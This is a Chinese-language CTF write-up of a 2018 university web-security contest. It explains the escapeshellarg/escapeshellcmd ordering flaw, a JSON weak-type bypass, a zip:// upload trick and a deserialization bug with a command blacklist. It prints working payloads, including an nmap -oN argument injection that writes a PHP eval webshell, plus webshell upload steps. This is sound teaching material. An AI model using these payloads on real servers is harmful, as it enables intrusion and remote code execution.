Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >2018 全国大学生软件测试大赛——安恒杯Web测试大赛全国总决赛部分Writeup

2018 全国大学生软件测试大赛——安恒杯Web测试大赛全国总决赛部分Writeup

作者头像
安恒网络空间安全讲武堂
发布于 2018-12-18 07:47:20
发布于 2018-12-18 07:47:20
2.9K00
代码可运行
举报
运行总次数:0
代码可运行

Orz太菜了只做出了几道水题,还是来赛后秒几题学习一下吧,水题就不赘述了。

在线工具

先看源码。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php

include("flag.php");

if(!isset($_GET['host'])){
    highlight_file(__FILE__);
}else{
    $host =(string)$_GET['host'];
    $host=escapeshellarg($host);
    $host=escapeshellcmd($host);
    $sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
    echo "you are in sandbox: ".$sandbox."<br/>";
    @mkdir($sandbox);
    chdir($sandbox);
    echo "<pre>";
    echo system("nmap -T5  -sT -Pn --host-timeout 2 -F  ".$host);
    echo "</pre>";
}

两个重要函数

来看看官网给这两个函数的解释。

escapeshellarg【http://www.php.net/manual/zh/function.escapeshellarg.php】

将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell函数包含exec()【http://php.net/manual/zh/function.exec.php】system()【http://php.net/manual/zh/function.system.php】执行运算符【http://php.net/manual/zh/language.operators.execution.php】

简单说来它的功能就是确保用户只传递一个参数给命令,用户不能指定更多的参数,用户不能执行不同的命令 。

escapeshellcmd【http://php.net/manual/zh/function.escapeshellcmd.php】

对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到exec()【http://php.net/manual/zh/function.exec.php】system()【http://php.net/manual/zh/function.system.php】函数,或者执行运算符【http://php.net/manual/zh/language.operators.execution.php】之前进行转义。

在转义过程中,反斜线会在以下字符之前插入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
& # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF

'"仅在不配对的时候被转义,在 Windows 平台上,所有这些字符以及%!字符都会被空格代替。

简单说来它的功能就是确保用户只执行一个命令,用户可以指定不限数量的参数,用户不能执行不同的命令。

一个简单结论

对于单个单引号,escapeshellarg函数转义后,还会在被转义字符的左右字符串各加一个单引号进行连接,而escapeshellcmd函数是直接转义。对于成对的单引号,escapeshellcmd函数不转义,但escapeshellarg函数转义。

一个简单举例

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php

    $host = "127.0.0.1' -v -d a=1";
    echo $host."</br>";
    $host=escapeshellarg($host);
    echo $host."</br>";
    $host=escapeshellcmd($host);
    echo $host."</br>";
?>

打印出的字符串如下。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
127.0.0.1' -v -d a=1
'127.0.0.1'\'' -v -d a=1'
'127.0.0.1'\\'' -v -d a=1\'

分解一下,首先escapeshellarg函数先对单引号转义,再用单引号将原单引号左右两部分括起来从而起到连接的作用。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
'127.0.0.1'\'' -v -d a=1'

然后escapeshellcmd函数对不成对单引号和反斜杠转义,即得到如下字符串。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
'127.0.0.1'\\'' -v -d a=1\'

最终字符串被分割成三个部分。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
'127.0.0.1'
\\
''
-v -d
a=1\'

但是如果是先用escapeshellcmd函数,再用的escapeshellarg函数,则不会发生这个问题。

赛题详解

再来看看题目。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php

include("flag.php");

if(!isset($_GET['host'])){
    highlight_file(__FILE__);
}else{
    $host =(string)$_GET['host'];
    $host=escapeshellarg($host);
    $host=escapeshellcmd($host);
    $sandbox = md5("dbapp".$_SERVER['REMOTE_ADDR']);
    echo "you are in sandbox: ".$sandbox."<br/>";
    @mkdir($sandbox);
    chdir($sandbox);
    echo "<pre>";
    echo system("nmap -T5  -sT -Pn --host-timeout 2 -F  ".$host);
    echo "</pre>";
}

只需要在要执行的恶意代码两边加上分号即可绕过。

并且此处需要用到nmap-oN指令,将标准输出直接写入指定的文件。

先上Payload

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
' <?php eval($_POST[1]);?> -oN shell.php '

第一次先经过escapeshellarg函数,先对左右两边的单引号进行转义,然后分别对原单引号即现在斜杆加单引号的左右两边再次加上单引号进行字符串连接,得到如下字符串。【为直观观看特意做了空格区分。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
''     \'     ' -oN shell.php '     \'     ''

然后第二次使用escapeshellcmd函数,对斜杆和单个单引号进行转义。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
''     \\     ''     \<\?php eval\(\$_POST\[1\]\)\;\?\>     -oN     shell.php     '\\'     ''

那么最后可以看到字符串被单引号分割成了多份,而最终指令如下。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nmap -T5  -sT -Pn --host-timeout 2 -F ''     \\     ''     \<\?php eval\(\$_POST\[1\]\)\;\?\>     -oN     shell.php     '\\'     ''

删除不必要的东西之后得到如下指令。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nmap -T5  -sT -Pn --host-timeout 2 -F \<\?php eval\(\$_POST\[1\]\)\;\?\> -oN shell.php

即指令目的就是对&lt;\?phpeval\(\$_POST\[1\]\)\;\?\&gt;进行扫描,并将结果存入shell.php

通过这一指令可以将shell写入,从而连上小?。

需要一提的是mac本地用的nmap7.70php5.5.38版本没有复现成功,可能还有别的环境的问题。

放在自己的vps上用nmap7.01php5.4.16成功复现了【我就做出了这题Orz。

黑产了解一下?

赛后秒题开始XD。

似乎是QCTFXMAN选拔赛的题。

在交易市场有9999999flag以及5000000hint

在抽奖界面抓包会发现发送了Json数据,直接用true绕过。【我赛后翻Writeup说是有一个git泄漏代码审计发现这个弱类型判断,但是比赛的时候好像没有扫到这个git泄漏Orz。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"action":"buy","numbers":[true,true,true,true,true,true,true]}

似乎没有办法把钱弄到9999999,那只好买hint,需要一提的是网页上的购买hint按钮是假的,点击没有反应,只好Burpsuite发包购买。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
{"action":"hint"}

Post发送如上请求后返回一个admin pass isQWERTYUIOPASDFGHJKL的字符串,应该是需要用这个pass的密码去注册admin账号,登陆后多了一个上传页面。

这儿只能上传docdocx,测试后发现校验了后缀名、Mime、文件头。

且这里有一个文件包含,后缀会添加php

然后由于doczip的文件头一样,因此构造一句话木马打包后,Burpsuite抓包修改后缀名和Mime类型上传,最后使用zip伪协议读取即可。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?page=zip://uploads/e65eee3bd3f975947e589d1e6ae279ccdf31fb3e.docx%23south

其中的south是小马的名字,以及这里需要一提的是uploads这个目录下的flag是假的,这里需要使用find命令来寻找flag,最后是在/etc/flag这个路径找到flag

不知名的小站

这题在比赛的时候就发现了一个反序列化漏洞,但是没找到class方法,后来在月赛群里和师傅们聊的时候有提及说题目提示hinthint.txt提示断电,然后联想到.hint.txt.swp,然后就有一个源码泄漏。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    function verify($name,$location){
        if(empty($name)){
            die("<script =\"JavaScript\"> alert('请先登录!');self.location='$location';</script>");
        }       
    }

    class info{
        public $name;
        public $ages;
        public $cmd;   
        public $black_str;

    function say_name(){
        echo $this->name;
    }

    function say_ages(){
        echo $this->ages;
    }

    function safe($str){
        $this->black_str = 'ls| |{I|;|%0a|cat|flag|find|&|<';
        $check = eregi($this->black_str,$str);
        return $check;
    }

    function __destruct(){
        $check = $this->safe($this->cmd);
        if($check){
            die("<script language=\"JavaScript\"> alert('您的内容含有字符非法!'); self.location='./index.php'; </script> ");
        }
        @system($this->cmd);
    }
}
?>

然后在注册登陆后抓包可以看到POST了一个反序列化的字符串上去。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
O:4:"info":4:{s:4:"name";s:5:"admin";s:4:"ages";s:2:"12";s:3:"cmd";N;s:9:"black_str";N;}

根据源码泄漏构造绕过,eregi可以使用%00截断绕过,其他内容和些许不足有错误遗漏的地方由于赛后秒题环境缺失无法复现,因此不能详细补充纠正这篇文章Orz。

Refer

谈谈escapeshellarg参数绕过和注入的问题【http://u3v.cn/4qLoRw】

利用/绕过 PHP escapeshellarg/escapeshellcmd函数【http://u3v.cn/5aDf17】

SKCTF2【http://v0w.top/2018/04/21/SKCTF2-wp/】

escapeshellarg 和 escapeshellcmd 函数【http://u3v.cn/4yhEXX】

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-11-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
2018全国大学生软件测试大赛-安恒杯Web测试大赛write up
第一次写,可能会有遗漏疏忽之处,还请海涵Orz。 常规操作 常规操作,试一试 http://114.55.36.69:8009/ 只允许上传jpg、png、gif、rar、zip文件类型! 看到zi
安恒网络空间安全讲武堂
2018/12/07
2K0
BUUCTF 刷题笔记——Web 2
打开靶机,页面中仅有一个输入框,提交一个数据发现其将数据使用 GET 方法传给变量 password。
h-t-m
2023/03/15
1.8K0
BUUCTF 刷题笔记——Web 2
看代码学渗透 Day5 - escapeshellarg与escapeshellcmd使用不当
-----------------------------------------------------------------------------------------
用户1631416
2018/09/14
2K0
看代码学渗透 Day5 - escapeshellarg与escapeshellcmd使用不当
2018红帽杯线下攻防赛Web总结
这次的红帽杯线下赛,两个Web被打的一头雾水,不知道怎么回事... 于是赛后进行了漏洞发现和总结,有了这篇文。 漏洞发现方式 赛后为了可以找到绝大数主办方留下的漏洞,我选择下载官方对应版本的cms,然
安恒网络空间安全讲武堂
2018/06/22
1.8K0
如何在命令长度受限的情况下成功get到webshell(函数参数受限突破、mysql的骚操作)
还记得上篇文章记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门),我们讲到了一些PHP的一些如何巧妙地绕过数字和字母受限的技巧,今天我要给大家分享的是如何在命令长度受限的情况下成功get到webshell,以及关于函数参数受限的突破,mysql的一些骚操作技巧~~~
Angel_Kitty
2018/08/15
1.5K0
如何在命令长度受限的情况下成功get到webshell(函数参数受限突破、mysql的骚操作)
PHP SECURITY CALENDAR Writeup
这是文件上传中常用的一个函数,文件被上传结束后,默认地被存储在了临时目录中,这时必须将它从临时目录中移动到其它地方,因为脚本执行完后,临时目录里的文件会被删除。所以要在删除之前用 PHP 的 copy() 或者 move_upload_file() 函数将它复制或者移动到其它位置,到此,才算完成了上传文件过程。
wywwzjj
2023/05/09
2.2K0
PHP SECURITY CALENDAR Writeup
PHP 邮件漏洞小结
PHP中,mail的函数在底层是写好的,调用linux的sendmail程序来发送邮件,在额外参数中,sendmail还支持其他三个选项。
安恒网络空间安全讲武堂
2019/05/28
2.5K0
如何用0day漏洞黑掉西部数据NAS存储设备
我们以入侵和破解设备为乐,今天,要向大家展示的是近期我们对西部数据(Western Digital )网络存储设备(NAS)的漏洞发现和入侵利用过程。点击阅读原文观看入侵视频。 漏洞发现 去年年中,我打算入手一台支持硬件解码的NAS存储来搭建Plex流媒体服务平台,经过一番比较,在一位朋友的推荐下,我选择了西部数据(Western Digital )的MyCloud PR4100,该存储设备完全满足我所有的功能需求。把该设备添加进网络之后,可以通过一个Web界面访问登录,由于我对使用设备有安全洁癖,所以
FB客服
2018/02/23
1.5K0
如何用0day漏洞黑掉西部数据NAS存储设备
【网鼎杯充电站】HITCON 2017-writeup整理
在上次推送中,我们总结了17年广东省强网杯Web部分的write-up,在这篇文章中我们来学习2017年HITCON的write-up。继续加油,奥力给!
用户5836910
2022/06/02
7720
【网鼎杯充电站】HITCON 2017-writeup整理
RCTF2018 Web Writeup
RCTF刚好赶上了完成毕设的时间,没办法只接触了部分题目,可惜的是,其中很多题目都不是特别有意思,这里只整理部分我参与的..
LoRexxar
2023/02/21
3360
BUUCTF-Web-WriteUp
知识点:代码审计,phpmyadmin任意文件包含漏洞 参考:phpmyadmin 4.8.1任意文件包含
小简
2022/12/28
1.5K0
BUUCTF-Web-WriteUp
“红明谷”杯数据安全大赛技能场景赛
来登陆,||可以使用,fuzz一波发现过滤了不少,找到一个make_set可以替代if,strcmp替代等于号,但常见盲注函数都被ban了,找到locate可以用来取位置。
HhhM
2022/08/10
4920
“红明谷”杯数据安全大赛技能场景赛
超详细讲解命令执行漏洞
命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一
网络安全自修室
2022/09/01
6.1K0
超详细讲解命令执行漏洞
DASCTF X SU 2022 writeup
这题是当时死活打不通然后赛后补题做出来了,补题过程中遇到了一些有趣的小问题,首先先看一下题目,题目是个非常基础的php反序列化题目,直接能够让用户操控反序列化的参数,找一条POP链完成利用就可以啦,下面是题目给出的源代码。
ek1ng
2022/08/10
3850
DASCTF X SU 2022 writeup
CTF系列——DASCTF四月春季赛Writeup
很久没正式打CTF,周末抽空参加了下安恒四月赛的DASCTF,个别题目质量还是蛮高的,这里把做出来的和赛后补充的做个记录。
Jayway
2020/05/09
5.8K1
CTF系列——DASCTF四月春季赛Writeup
CTF论剑场 Web1-13 WriteUp
extract — 从数组中将变量导入到当前的符号表,trim — 去除字符串首尾处的空白字符(或者其他字符)。
安恒网络空间安全讲武堂
2019/09/29
2.4K0
祥云杯WEB--Writeup+复现
ez_yii 这个题目懂得都懂,直接放exp吧 <?php namespace GuzzleHttp\Psr7{ use Faker\DefaultGenerator; final c
ly0n
2021/08/24
8820
祥云杯WEB--Writeup+复现
谈escapeshellarg绕过与参数注入漏洞
参数注入漏洞是指,在执行命令的时候,用户控制了命令中的某个参数,并通过一些危险的参数功能,达成攻击的目的。
phith0n
2020/10/15
2K0
中学生CTF几道web题解
之前偶然发现中学生 CTF 这个平台,就做了一下。结果嘛,学到不少东西,大佬们太强了
yichen
2020/01/02
1.7K0
BUUCTF web writeup
右键查看源代码 发现 <!--source.php-->访问source.php发现源码 题目考察代码审计
用户2700375
2022/06/09
1.2K0
BUUCTF web writeup
相关推荐
2018全国大学生软件测试大赛-安恒杯Web测试大赛write up
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验